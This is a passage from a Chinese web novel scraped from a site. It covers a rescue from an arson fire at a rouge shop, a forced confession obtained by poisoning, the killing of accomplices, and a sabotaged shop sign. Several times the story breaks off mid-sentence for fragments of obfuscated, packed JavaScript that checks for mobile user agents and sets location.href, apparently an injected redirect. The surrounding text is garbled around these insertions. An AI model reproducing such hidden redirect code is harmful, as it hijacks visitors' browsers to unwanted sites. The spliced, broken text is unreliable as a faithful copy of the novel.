l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16510889|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不必跟着，我去去就来！” 这是她对丁香两个说的最后一句话。 * 道政坊，迎晖阁外，元琛望着常乐坊方向的火光面色凝重：“通知薛坚，安排人手随我去趟常乐坊。”他吩咐一旁的长庚。 话音落下，薛坚已快步赶来：“世子，常乐坊好像起火了——” “速去救火！”元琛说着提步奔向马房。 薛坚带着人出发时，元琛已经一马当先冲了出去。 * 点绛唇外，元琛远远看见火光浓烟中的店铺，瞳孔不由猛地一缩，有种不祥的预感丝丝缕缕攀上心头。 催马驰到近前，他视线在火光、烟尘与混乱的人群中快速扫过，却并未发现他想要找的人。 心口像骤然被什么攥住，周身一阵紧绷，他跃下马背，踉跄着几步冲上前，一把抓住正提着水桶赶来的小满：“沈妍在哪？” 小满猝不及防，听见一个凝重的声音微微发颤，桶中的水险些洒出来，溅在来人衣袍上，及至看清楚是卫世子，不由惊骇更甚。 只见卫世子原本渊黑的眼眸在夜幕下，火光中，溢出灼灼诡异的红光，犹如地狱里冲出来的修罗一般。 “主、主子到楼下库房去拿紫胶了。”小满听见自己的声音也跟着颤起来。 元琛皱眉：“她去多久了？” “一、一盏茶？”小满说着意识到什么，倒嘶一口凉气。 已经这么久了吗？人怎么还没出来？ 前方，元琛已拿巾帕包好了口鼻。他从小满手中一把夺过水桶，兜头浇在自己身上，随即在小满惊愕的目光中大步冲进了点绛唇。 元琛知晓小满所说的库房在哪，之前给沈妍送紫胶时，他曾亲眼看着侍卫与伙计们往里面搬东西。 很快，他便来到了那间库房跟前。 周遭热烘烘一片，连吸入的每一口气都是炙烫的，可眼前景象却看得他遍体生寒。 二楼一根烧毁的房梁掉落下来，堪堪堵住了库房入口。 此刻，凶猛的火势正由房梁沿着木制楼梯向下蔓延。 阿妍！ 元琛心里一咯噔，皱眉将腰间佩连剑带鞘一同取下，用力拨开了着火的房梁。之后径直越过楼梯入口的火舌，只身闯入烟雾弥漫的地下室。 “沈妍？”，“沈妍！咳咳！”…… 他在浓烟中呼喊沈妍的名字，大步穿过一堆堆杂物，在烟尘中眯起眼四下寻找：“沈妍……” 周围始终无人应答。 密闭的地下室内，火苗已从入口烧到屋顶的木质骨架上，不时有着火的碎木块从上方掉落。 元琛继续迈向仓库深处，每经过一处小山般堆积的杂物、货品，他都凝神向后面看一眼。如此几次三番，货堆后面却全都空无一人。 眼看只剩下最后一堆货物了，他屏住呼吸，几乎是提心吊胆地走过去。 视线落在那堆货物后——仍是空的。 “阿妍！”不知是不是被烟熏得，元琛这一声竟有些破了音。 话音落地，忽然，他视线凝住。 ——地下室内侧的墙角处有人！ 元琛心头猛地一跳，不假思索一个箭步冲过去。 眼前，他要找的人正双目微合，睡着了般靠墙角坐着，头脸和身上都染着斑驳的烟灰，看样子已经没了意识，怀中却仍紧紧搂着一个尺长的黑漆木盒。 里面不知是何宝贵之物，值得她豁出性命也要抢出。 看见这一幕，元琛猩红的眼眸忽然有些酸涩。蹲下身，他一把将人拉进怀中，紧紧搂住，痛苦地闭了闭眼，他将沈妍打横抱起。那只木盒子也随之掉在地上。 36. 质问 随着盒子落地发出“喀哒”一声闷响，怀中人突然动了动，口中发出含混的低喃：“紫胶……” 元琛闻声面容微怔，心头却是一松，看人没事，他正要离开的脚步终是顿了一下。 似有些无奈地叹了口气，他躬身拾起地上的黑漆盒子，将其放在沈妍身上，随后抱着她快步奔向库房入口。 此时火势已经蔓延到了楼梯中段位置。 事不宜迟，元琛薄唇抿成一线，搂紧沈妍，快步踏着损毁的楼梯“嗒、嗒、嗒”飞身而上。 不过饶是如此，已经被烧损过半的木制楼梯还是在中间爆裂，断落。 最后他只得纵身一跃，从周围肆虐的火舌中硬闯出去。 “世子！”，“世子！”，“沈娘子？”…… 薛坚和长庚带着几名侍卫冲进大堂，在烟尘中一涌而上，护卫着二人到了店外。 此时侍卫们已将二楼明火扑灭了七七八八，正在一步步缩小范围。 点绛唇外，卫王府的马车已经在道边候着。 元琛抱着沈妍直奔车轿，一面快步向前，一面沉声吩咐长庚：“叫郎中！” 长庚听出世子向来沉稳的声音竟染了几分凝肃与慌乱，自是丝毫不敢耽搁，口中应一声“是”，飞身上马驰远。 小满和丁香看见卫世子抱着昏迷的沈妍出来，均吓得变了脸色，慌忙快步跟上。 薛坚原本也跟在元琛身后，直到元琛和沈妍上了马车，他这才意识到什么，脚步顿住。 马车在夜幕中一阵风驶向往卫王府方向。 最后只剩下薛坚一人独自站在被烧损的店外，目送着马车渐渐隐入夜色。 不知过了多久，他收回心神，轻轻摇了摇头。 他太了解元琛了，如果只是逢场作戏，刚刚何至于紧张至此？ 或许，从一开始，沈妍于他便不只是女使那么简单。 念及此，薛坚唇边浮起一缕似有若无的苦笑，望着马车消失的方向喃喃低语：“元忌平，你怕不是连自己都骗了？” * 兰竹轩的沉香木床上，沈妍在一阵呛咳声中悠悠醒转。 昏迷前的景象一幕幕在脑海中闪过，此刻她眼前已没有了烟尘和火苗，入目尽是兰竹轩熟悉的轻纱帐顶，此外，还能闻见一道似有若无的雪松香。 等等——雪松香？ 沈妍一怔，转眸向床外望去，随即就看见了长眉微轩，一脸忧色坐在她床边的卫世子。 “世子？”她讶然脱口。 元琛看见她醒来，似是松了一口气，紧接着却又皱眉，黑着脸沉声道：“你是怎么回事？明知店中一片火海，还瞪着眼睛往里面闯？” 沈妍被他问得愣了愣，近日难得听见卫世子一口气说这么多话。 接下来，她本想好好解释一下，可惜还没插上嘴，便又被元琛连珠炮的质问声打断。 “你是不是疯了？知不知道当时的情况有多危险？若不是我及时赶到……”他声音一滞，似在竭力克制着什么，后面的话悉数吞进了喉咙里。 少顷，他闭目深吸一口气，这才将烦躁的情绪略略收敛。 之前太医署刘太医已经为沈妍看诊过，确定只是受了烟熏，暂时昏迷，所幸元琛及时将人带离火场。 “世子放心，等人醒过来就没事了。”刘太医最后交代。 此刻，看见沈妍醒转，元琛先是放下心来，随即却想起她不知死活地返回仓库，试图抢出紫胶的举动，忍不住疾言厉色起来。 这是要钱不要命了吗？ 沈妍迎头遭到卫世子一通训斥，但也心知他是关心自己。这次也幸亏他及时赶到，涉险相救…… 心下感激，她于是放软了声音，耷拉着脑袋好言解释：“我当时也是见大堂火势控制得差不多了，才敢进去的，谁想到那根房梁突然掉下来……” “当时库房里还有一盒紫胶，我想那东西珍贵难得，又是世子……”说着，她意识到什么，声音一滞后改了口，“……千里迢迢从中州运来，被火烧了未免可惜。” 元琛本要继续发作，却不知为何，注意到她的神情，不禁愣住。 那也只是一盒紫胶而已，哪里值得她如此？ 但他眼底的怒意还是渐渐褪去，取而代之的是震惊、无奈以及冰消雪融般的心绪动容。 突然很想再次将沈妍紧紧揽进怀中，可惜她现下已经醒了。 被那双清澈、明净的眼眸盯着，元琛喉结轻轻滚了滚，终是压下翻涌的心绪。 半晌，他长指虚握，无声地叹了口气，再开口却道：“你莫不是傻了？烧掉了，再送你便是。” 沈妍却摇了摇头，神色认真道：“不必，世子上次送的已经够用了。” 她早已经注意到桌上的黑漆木盒，此时向元琛道谢，“多谢世子帮我把它带出来。” 再送又怎会一样？ 从前那紫胶是元琛第一次送礼物给她。虽然没什么证据，但沈妍仍愿意相信，当时卫世子是以朋友的身份祝贺她开业，与如今的契约关系不同。 桌子上那盒紫胶是她当时特意留作纪念，至今一次都没舍得动过，怎能眼睁睁看着它们被焚毁？ 旁边，元琛看她一脸固执，抿了抿唇，终是没再继续这一话题，只温声道：“起来，把药喝了。”说着站起身，将桌上炭火温着的汤药端到沈妍跟前。 这一举动看得沈妍又是一阵恍惚，分不清自己究竟是醒了还是仍在做梦。 怔怔接过药碗，面前，黑褐色的汤药冒着微烫的热气。 显然并不是梦。 “喝下去，凉了药效会变差。”元琛依旧是那副无波无澜命令的口吻。 沈妍终于确定是卫世子没错，但觉得又不太真实。 梦游般端着药碗一饮而尽，她被辛辣、苦涩的滋味呛了一下，直咳得面红耳赤，泪眼汪汪。 等眼睛再度恢复清明时，却见卫世子正向她伸出手来，拇指指腹带着温热的体温在她嘴边轻轻抹了一下。 那儿原本残存着一滴褐色的药汁。 这一动作是元琛下意识完成，抹去药汁的同时，他手顿了一下。 下一瞬，两个人同时怔住。 沈妍看见面前那对墨黑的瞳仁深不见底，里面倒映的满满都是她。 看着看着，她仿佛不知不觉陷在里面，直到药碗从手中滑落，掉在身上。 她慌忙捡起药碗，元琛也回过神，从她手中拿过空碗，有些无措地站起身：“我……去叫小满过来。”言罢快步离开，仓惶的身影竟似落荒而逃。 * 元琛一口气走到兰竹轩外，神色渐渐沉冷下来。 四近无人的甬道上，暗卫阿岚从前方赶来，在元琛跟前站定，恭敬叉手道：“世子，放火的凶犯已抓获。” 元琛：“在哪？” “南衙地牢。” 元琛点头，和阿岚快步离开。 两个时辰前，仙客来顶楼一间茶室。阿岚坐在窗边，注意到外面幽暗的街道上，沈妍、小满等三女有说有笑地朝茶楼走来。 他是今日被派来的暗卫，负责保护沈妍以及向元琛报告点绛唇有何异常。 自从这次沈妍从苏府回到卫王府，他们便有了这项任务。 本来，今晚阿岚是要盯着点绛唇，可眼下，目标和他来了同一家茶楼。 看来他得换个更方便盯梢的地点了。 这边，阿岚正要起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537321|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开，眼角余光瞥见对面点绛唇半敞的窗口外，有道黑影一闪。 阿岚目光警觉地一沉，凝眸盯住点绛唇二楼，想将那里的情况看得再真切些，免得盲目行动打草惊蛇。 怎料下一瞬，对面骤然火光大亮，也就一眨眼工夫，橙红的火焰如烟花爆裂般盈了满室。 紧接着，仿佛有人拉动引线般，火势迅速波及隔壁，再隔壁……在夜风助阵下，长长的火舌从一个个窗口呼啦啦窜出。 与此同时，阿岚看见点绛唇门口已经有人跑出大堂，附近的巡防也急速往这边赶，期间不住有人呼喊着“救火”。 阿岚的注意力则放在寻找方才那个黑影上。 显然，那黑衣人与这次的火情脱不了干系。 混乱中，果然看见一道黑影乘乱从顶楼远离火灾的房檐飞身跃下。 阿岚眼神一厉，跃出窗口追上去。 还好他要保护的人此刻就在茶楼，加上巡防赶到，人流聚集，反而会很安全。 * 光线幽暗的南衙地牢，周遭时不时涌来阵阵浓郁的血腥气。 在一处铁栏内，尖锐的鞭挞声中，有个男子叫得格外惨烈。 那人被一道道铁锁绑在刑具上，在一顿皮鞭招待下，上半身很快皮开肉绽，血肉模糊，原本黑色的衣衫也几无一处完好。 五十鞭过后，一名黑衣武士手持鞭杆，声音沉寒：“再问一遍，是谁指使你放火？” 受刑男子紧咬的牙关咯咯作响，勉强挤出几个字：“无……无人指使。”吐字间，他痛得嘶嘶抽气，“……我只为趁火打劫。” 黑衣武士闻言，看了一眼旁边站着的长官。后者表情不善地眯了眯眼，偏头示意他继续。 这厢，黑衣武士正要再次扬鞭，不远处的铁栏外，一道淡淡的声音响起：“等等。” 话音落下，黑衣武士一愣，随即立刻收起鞭子，安静地退到一旁。 他的长官黎志勇则快步迎向门口，向来人叉手行礼：“将军。” 元琛颔首，抬脚迈入地牢，不紧不慢地在受刑男子身前站定。 前方，遍体鳞伤的男子抬眸看见他，瞳孔猛地紧缩。 元琛几不可察地勾了勾唇角，随即，他从袖中取出一只血色小瓷瓶，从中倒出一粒暗红色药丸，不动声色地递给一旁的黑衣武士：“给他吃下去。” 话落，在受刑者激烈的挣扎中，黑衣武士强行捏紧他的下颌，掰开嘴巴，手法娴熟地强制那男子咽下药丸。 “此为江湖上赫赫有名的蚀筋断骨散。药如其名，吃下去会叫你生不如死。”元琛的语气像在谈论一件吃饭喝水般的寻常事，“本将军可在此与你做笔交易——只要你说出幕后指使，便可得到解药，离开此地。否则——你懂的。” 他说话时，受刑男子本就苍白的面色，霎那间越发白得没有一丝血色。 神色骇然地瞪着元琛，他面上表情忽然极尽扭曲，四肢抽搐，浑身冷汗涔涔而下，期间发出一声声痛不欲生的惨叫。 蚀筋断骨散服下不消片刻，整个人犹如被冻成寒冰，从内到外如同被生生碾碎，继而浑身燥热难当，如同被地狱烈火烘烤，筋骨皮肉寸寸焚毁。 受刑者会在冰与火的极刑间来回轮转，过程更似万蚁蚀骨，痛痒难当。 故而，江湖传言，即便最能抗的硬汉，服此药后也会向你跪地求饶。 而这名受刑人从嘴硬到招供的时间似乎更短一些，只不消半盏茶，他便哀声痛呼：“……我说！我说——是凝香楼掌柜李胭娘！求将军给我解药——啊！” 元琛闻言将早已准备好，拈在指间的一枚白色药丸递给那名武士。 转身离开时，他神色一厉：“抓！” 37. 牌匾 翌日清晨，天蒙蒙亮。阿大收到巴山鬼发出的接头暗号，火速赶往放火行动前二人约好的聚头地点。 和巴山鬼碰面后，看着遍体鳞伤从南衙大牢死里逃生的兄弟，阿大眼中透出几许惊讶。 随后，他带着巴山鬼连换了好几处地点，直到确认彻底甩掉“尾巴”，才在郊外某处杳无人烟的湖边停下。 “兄弟伤势如何？”阿大打量着巴山鬼问。 头一回听见头儿对自己表露关心，巴山鬼有些局促，挠头“咳”了声道：“都是些皮外伤，看着唬人罢了。” 阿大点道：“那便好。”言罢一顿，目光染了些审视意味，“说说吧，你究竟是怎么出来的？” 巴山鬼忙道：“兄弟此番虽未能烧死那个女人，可也绝不会做出出卖头儿和郡主之事。遵照头儿之前的吩咐，行动失败后，兄弟一口咬定幕后指使是凝香楼李掌柜，卫世子这才将我放了出来。” 阿大扯扯嘴角干笑两声，随即凑近巴山鬼，伸手在他肩头亲密地拍了拍：“辛苦了兄弟，做得不错。” 巴山鬼咧嘴一笑，冷不防肋间剧痛，一柄短刀倏地直没至柄。 他笑容僵凝，身躯如死鱼抽搐般一震，随即在阿大面前慢慢软倒下去。 湖畔，偌大一滩血水从巴山鬼身下淌出，将附近一片青草染上诡异刺目的红。 阿大垂眼站在他尸体旁，喃喃念道：“兄弟莫怪，哥哥我也没想到元琛会亲自见你，若再留你性命，出了事，公爷那边不好交代。” 言罢，他俯身将巴山鬼的尸身推入湖中。 * 南衙，当晚派往凝香楼抓人的黎志勇带着手下返回衙门。 “世子，李胭娘几个嫌疑人全部被京兆府带走。”他面色沉凝，冲元琛叉手报告。 元琛原本正和薛坚议事，闻言饶有兴味地掀起眼帘看向黎志勇：“什么情况？” 黎志勇道：“属下带着人赶到时，京兆府少尹已经亲自带着一班衙役在连夜抓人。对方态度强硬，坚决不肯相让。因此案确该归京兆府管辖，故而属下只能暂且回来，请将军的示下。” 京兆府非要插手，宿卫军的确不好硬来。 元琛边听黎志勇说着，边拿手指轻抚下颌，似若有所思。 一旁，薛坚插言：“李胭娘在京中根基不浅，有人在背后保她也是再正常不过的事。” 元琛颔首，声音如凝霜雪：“也罢，我正想看看那个人是谁。” * 韩国公府，桓莹玉的闺房。宝瓶快步入内，向立在佛像前侍弄鲜花的桓莹玉报告：“郡主，适才李胭娘的一名心腹过来求救，说李胭娘此刻在京兆府关着。奴婢暂时将他打发走了。” 桓莹玉闻言闭目叹了口气，随即，似是陷入沉思，半晌未发一言。 宝瓶站着等了会儿，见郡主始终不给示下，试着问道：“郡主，要救人吗？郡主？” 桓莹玉醒过神，吩咐宝瓶：“叫阿大去湖心亭等我。” * 桓莹玉到达湖边时，阿大已在亭中等候。 宝瓶跟着桓莹玉沿着曲曲折折的木作廊道走向湖心。期间湖面上偶有凉风掠过，带着湖水的湿冷，拂在脖颈、脸上，激起一层细细密密的栗粒。 不多时，二人与阿大碰了面。 “李胭娘的事想必你都听说了。”桓莹玉开门见山道。 阿大道：“是，不知郡主有何吩咐？” 桓莹玉：“一事不烦二主，此事还需要你的人帮忙。” 活落，阿大却是面露难色：“京兆府大牢守卫森严，想要从中救人，属下却是有些难办。” 桓莹玉抬睫看向阿大，目光幽冷阴寒，像一条凉飕飕的蛇：“那若是杀人呢？” 话音落下，宝瓶蓦地身子一颤。 连阿大也是一愣，似不可置信地看向桓莹玉，但旋即恢复如常，如实答道：“或可一试。” “到时侯我会安排衙门的人配合。”桓莹玉像是下了什么决心，神色一沉，“事不宜迟，今晚便动手吧。” “属下遵命。” 旁边，宝瓶听见二人的对话，早已吓得面如土色。阿大离开后，她轻声问桓莹玉：“郡主真要杀李掌柜？” 桓莹玉闭目，无声地一叹，幽幽开口道：“要怪只能怪胭娘运气不好，放火一事已被表兄盯上。他是个什么人，我比谁都清楚。除非死无对证，此事恐难以善了。事到如今，我也保不住胭娘，只能让她少受些罪了。” 说着，她双手在胸前合十，合眼喃喃念了句佛，须臾睁开眼，“姓沈的侍妾着实命硬了些，但愿胭娘做了鬼，记得找她算账。” * 点绛唇虽被烧毁，但因原料和存货主要放在南郊作坊，损失倒不算很大。 本来，店铺开业以来盈利颇丰，沈妍已有开分店的打算，如今刚好趁着这段时间再立门户，同时，将损毁的老店加以修缮。 彼时东市有一家胭脂铺转手，沈妍和刘掌柜看完均甚为满意，当即交契租金，找人简单装饰了一番，眼下只等着开业。 这日沈妍、丁香、小满三个在城南定制了一块匾额，预备过几日分店开业时用。 回来路过凝香楼，因李胭娘被抓，期间又有一众商户联名状告凝香楼拒付订单，拖欠款项，致使凝香楼在京中的四家门店全部被封。 往常繁华热闹的门店，此时门可罗雀，四处贴满了封条。 偶有远来或不知情的客人聚在店外，朝着门头指指点点，互通消息，发几句感慨。 “想不到凝香楼风光一时，如今四家店全倒了，看来这有后台也不能乱来呀。” “咳，也不看看李胭娘这次招惹的是谁？那点绛唇的女掌柜乃是北境元将军的宠妾，当年元将军在北境杀得胡人血流成河，会是个手下留情的主？” “要我说李胭娘也是活该，仗着后台硬，独霸金缕砂，欺行霸市，后来胆子越发大了，竟干起杀人放火的勾当。” “可不是，抓她那是为民除害，抓得好！” “你们不知道吗？昨日我可在茶馆里听说——李胭娘在大狱里畏罪自尽了。” 话音落下，立时传来一片惊呼，继而所有人都压低了嗓音小声嘀咕。 如今很多人确实还不知道李胭娘的死讯。 这也难怪，京兆府尚未开审，人便在狱中畏罪自尽了。 这本不是什么光彩的事，京兆府又怎会大肆宣扬？ 街对面，沈妍三个站着看了一会儿，丁香纳闷道：“你们说李胭娘那样一个泼皮，又有高门为她撑腰，怎么就突然想不开自寻短见了？” 沈妍摇摇头，这事她也没想明白。起初从长庚处听说这个消息，她还以为自己听错了。 她甚至不懂李胭娘为何总是处处针对她。二人本来无冤无仇，而且京城这么大，即便再多几家口脂店又不是容不下，为何非要斗个你死我活？以至于把性命都搭进去呢？ “八成是坏事做得太多，吓得吧。哼，这种人，活该！”小满犹自愤愤道。 沈妍回过神，轻叹了口气，对丁香、小满道：“走吧。” 距三人不远处，一名头戴围帽、身穿灰色粗布衫的女子，鬼魅般纹丝不动地立在墙角，面朝着沈妍离去的方面。 风吹开女子斗笠上的围挡，露出菊芬怨毒的眼神。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552281|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> * 五月初九，忌嫁娶，宜开张。 午前，点绛唇位于东市的分店开业。 店前铺着红毯的高台上，歌管声声，彩练如云，招揽着八方来客。 大堂内更是人满为患，连外面街道上都挤满了看热闹的人群。 一众客人中，除了各年龄段求新爱美的淑女佳妇，也有想送礼物给妻、女、朋友、恋人的男子们。 今日顾婉仪还特地邀集了一班相熟的姐妹前来捧场，只可惜沈妍杂务缠身，一直未能好好相陪。 不多时，沈妍为新店订制的招牌送到。 按照上都风俗，凡有新店开业，东家或掌柜须亲自揭开蒙着匾额的红绸，再由伙计们高挂在门头。经此仪式，店铺往后便会财源滚滚，遇难呈祥。 此时，店门外，两名伙计正抬着红绸包裹的招牌，等候沈妍揭开。 后者深吸一口气走到匾额前，小心翼翼将最外面包的红绸掀开一角。 霎那间，她原本含笑的杏眼却是一凝。 预想中红底金字的“点绛唇”三个大字并未出现，取而代之的却是惨白的底色，上面“艳窟坊”三个红色大字周遭红漆点点，竟似谁用鲜血写就。 而此刻，沈妍身后，顾客和围观百姓人头攒动，个个屏息凝神，都在眼巴巴地等着看她揭牌。 沈妍站在牌匾前，看着三个血淋淋的大字只觉后脊生寒，耳中一阵阵轰鸣。 不知过了多久，周围人群中不住响起诧异的议论声。 “怎么还不挂牌？吉时都快过了。” “是啊，过了时辰可不吉利，该不会出什么事了吧？” “沈大掌柜，您倒是揭牌呀！” …… 沈妍闻言快速找回神志，略加思索后，她将适才揭开的那角红绸又原样复位，重新拿红绳绑好，转过身，对众言干笑了两声道：“关于招牌，本掌柜突然有个新想法，烦请诸位稍待。” 说着，她朝四面拱拱手以示歉意地，继而吩咐两名伙计将招牌抬回大堂。 此情此景，别说是顾客，连旁边的刘骥云和丁香、小满都瞧得面露惊讶。 刘骥云最先意识到不对，快步跟上沈妍，紧接着丁香和小满也跟了上去。 围观的人群议论声仍未停止。 “什么情况？” “挂个牌还搞花样，没见过这样的！” “哎，人家沈掌柜点子多，说不定后头有好戏看，等着瞧便是。” …… 大堂内，沈妍让两名伙计将招牌径直抬进二楼一间空房内。 待伙计们离开，刘骥云、丁香、小满也都到齐了，沈妍命让小满“把门闩上”。 刘骥云神情凝肃，问沈妍：“东家，出什么事了？” 沈妍这才上前拆去红绸。 旁边，刘骥云三人看见招牌上的字，一时都震惊得说不出话。 “怎么会这样？”片刻后，小满仍不敢相信。 丁香盯着那块招牌，脸色惨白：“我们昨日才看过，当时“点绛唇”三个红底金字清清楚楚……” 刘骥云却是面色凝重：“招牌被人掉包了，这段时间有人动了手脚。” 小满气得咬牙：“什么人心思这般歹毒？” “问题是眼下该怎么办？”丁香忧心忡忡看向沈妍，“外面那么多顾客全都等着看挂牌呢。” 刘骥云眉心紧缩：“现做招牌肯定是来不及了。” 期间沈妍始终抿着唇未发一言，此时忽吩咐丁香、小满：“你们两个，去雅间将顾婉仪顾大娘子请到这来。”一顿又补了句，“记住，要让她单独前来。” 38. 来客 丁香两个应声赶忙去楼上请人，不多时将顾婉仪带到。 沈妍见了顾婉仪立时上前施以大礼，顾婉仪一怔，随即忙将她扶起：“沈娘子有话好说，这是做什么？” “求姐姐救急。”沈妍诚恳说道，“之前我们订制的牌匾出了问题，眼下实在无法使用，故而想请顾姐姐帮忙问一问，在场你认识的夫人娘子之中，可有哪位擅长书法？” 顾婉仪闻言似是忍不住嗤声一笑，旋即下颌微扬，道：“那你算找对人了。” 沈妍回过味来，如遇救星般一把抓住顾婉仪的手：“太好了！如此便拜托顾姐姐了。” 顾婉仪在她手背上轻轻拍了拍，以示安慰，须臾道：“把文房四宝预备起来吧。” 沈妍喜出望外，连忙指挥刘骥云三个：“快，把红纸、金泥、大小毛笔全拿过来。” 因为之前预备开业，店中红纸、金泥、请柬、各种笔墨纸砚买下了许多。 刘骥云三人分头行动，很快便将几样东西找齐。 之后，丁香、小满按照顾婉仪所说，比量着匾额将红纸裁成合适大小，平铺在桌案上。 顾婉仪站在桌旁似是凝神静气，少顷悬腕拎起毛笔，笔尖饱沾了泥金墨汁，一时笔走龙蛇，笔端所过之处，“点绛唇”三个金色大字一气呵成。 旁边，沈妍四人当场看呆。沈妍虽不懂书法，但瞧着那字迹，真似行云流水，柳枝随风，令人情不自禁生出随意所适的美感。 “如何？”顾婉仪撂下毛笔，偏头看向一旁仍盯着字迹呆呆发愣的沈妍。 话音落下，沈妍这才醒过神念了句佛，抓着顾婉仪的衣角喃喃叹道：“顾姐姐真是我的活菩萨！” 顾婉仪难得见她流露出这般娇憨之态，一时忍俊不禁。 沈妍随即吩咐刘骥云：“咱们将顾姐姐这张字粘在匾额上，先解决眼下的燃眉之急，日后再找人凿刻出来。” 刘骥云听懂她的意思，当即勾唇颔首，神情一松。 沈妍言罢从桌上拿起团扇，小心翼翼将字迹扇至半干，一面叫丁香、小满在牌匾上粘了厚厚几层红纸，遮住原来的字迹，最后几人一起将顾婉仪的字黏贴上去。 店外，当新匾额揭去红绸，高高挂起的刹那，围观人群中忽有人兴奋地“咦”了一声：“这不是书法名家云舟先生的字吗？” 话音落下，周遭一片骚动。 “是云舟先生的字没错，我之前在安国寺见过他的字，故而认得。” “这位隐士的墨宝向来一字难求，想不到点绛唇竟有这么大面子，得到云舟先生亲笔题字。” “那也需东家有这份底气，店里东西不俗，才配得上先生的墨宝不是？” “哎，你看那最后一笔，好像还没有干透，难道竟是先生刚刚写就的？” 这一句出口，转眼引起了更大轰动。 “难不成云舟先生此刻就在点绛唇内？” “在哪？我久闻先生大名，还从未见过真人。” “谁又见过了？” “这块牌匾方才是从楼上抬下来，也就是说他在楼上雅室？可雅室之中全都是女宾啊，莫非云舟先生是个女子？” …… 种种猜测，在人群中掀起一片哗然热议。 茶室内，沈妍实在没料到，她出于权宜之计请顾婉仪临时写了幅字，效果竟比精心定制招牌还好，不由好奇地望向顾婉仪：“顾姐姐，云舟先生是怎么回事？” 顾婉仪抬睫看着她，一哂道：“你猜得没错，我便是他们口中的云舟先生。” 说着，她起身慢慢走向窗口，目光放空望向窗外，“我自幼喜爱书法并有幸师从名家，数年后小有所成，字迹偶尔从父兄手中流出，逐渐有了几分名气，却始终谨遵教化，只将此当作闺阁玩乐，字迹也只用化名云舟先生。这大概就是身为女子的宿命吧，即便明知那些字是自己所写，也从不敢以真面目示人。” 言罢，顾婉仪敛眸，转身看向沈妍，“近日，我见妹妹将口脂店经营得风生水起，做出的口脂、胭脂、香料受到那么多姐妹喜爱，店铺虽历经挫折，却还是一步步做大，我心中很是佩服。” 顿了顿，她眸光闪闪道，“谁说女子只能藏头缩尾，囿于闺阁？像妹妹这般大大方方地抛头露面，乃至做出一番事业又有何不可？” 沈妍原本还担心牌匾一事连累顾婉仪暴露身份，听她如此说，笑容由衷地漾出来：“今日之后，整个上都怕是要人尽皆知云舟先生是位女子了。” “知道便知道，没什么大不了。”这次，换顾婉仪拉住沈妍的手。二人相视一笑，竟都生出了些惺惺相惜之感。 * 一炷香前，菊芬挤在围观的人群后排，看见包着红绸的牌匾被送进点绛唇，她眼底浮起一抹阴冷。 之后沈妍揭牌未成，找借口让人将牌匾抬回店铺。 仿佛早料到这一幕，菊芬哼笑一声，满意地转身消失在人群中。 不多时，她来到距点绛唇最近的一条巷子。 这会儿附近的很多百姓都去围观新店开业，深邃的巷子内空无一人，仅有一辆蒙着褐色厢棚的轻便马车当不当正不正地停在巷道中央。 菊芬靠近那辆马车时，忽然从车上跳下两名身材魁梧的汉子，个个看着面相不善。 似乎感觉到什么，菊芬面露惊慌，转身拔腿便往回跑。 但是已经晚了。 一名壮汉几步追上来，一手从身后反扭住菊芬的胳膊，另一手拿一块湿帕子捂住她的口鼻，将才要出口的一声“救命”堵了回去。 那块巾帕上有股浓重怪异的药味，菊芬很快失去意识，被两名壮汉拖进马车内。 马车启动，转过巷子与坊道交接口，那里停着一辆宽大的锦绣香车，轿帘微微敞开，帘后挂着影影绰绰的纱幔。 透过纱幔，桓莹玉盯着那辆马车走远，片刻后，轻轻道了声：“走吧。” 车轿启动，车厢内，宝瓶犹犹豫豫地开口：“郡主，若是留下菊芬，给那个侍妾找些麻烦不好吗？” 桓莹玉像是有些头疼，一手轻揉着太阳穴，声音倦怠：“可惜这丫头不堪大用，坏块招牌这等小打小闹的把戏还是算了吧。与其等着她把自己搭进去，再供出我们，不如趁早除去这个隐患。” 宝瓶闻言了然地点点头，适才还略显犹豫的眸中蔓上阴狠。 三日后，护城河下游的东郊发现了一具女尸，死者颈上勒痕明显，是被人勒死后又抛尸入水。 有知情人透露，死者生前曾是凝香楼掌柜李胭娘的女使。 听见小满说起这则消息，沈妍一时有些走神。 其实分店开业后，她曾问过招牌铺的钱老板。他说匾额做好之后，的确有段时间在院内放着，怀疑是这期间被人掉了包。 后来，钱老板找来负责的伙计当着她的面询问了一番。 那位伙计恍然忆起，那日只有他在看店，期间有个小娘子找上门来，说是要做块招牌。 因她想多看几个样子，故而伙计去库拿东西时，曾将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579993|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她单独留在院内。 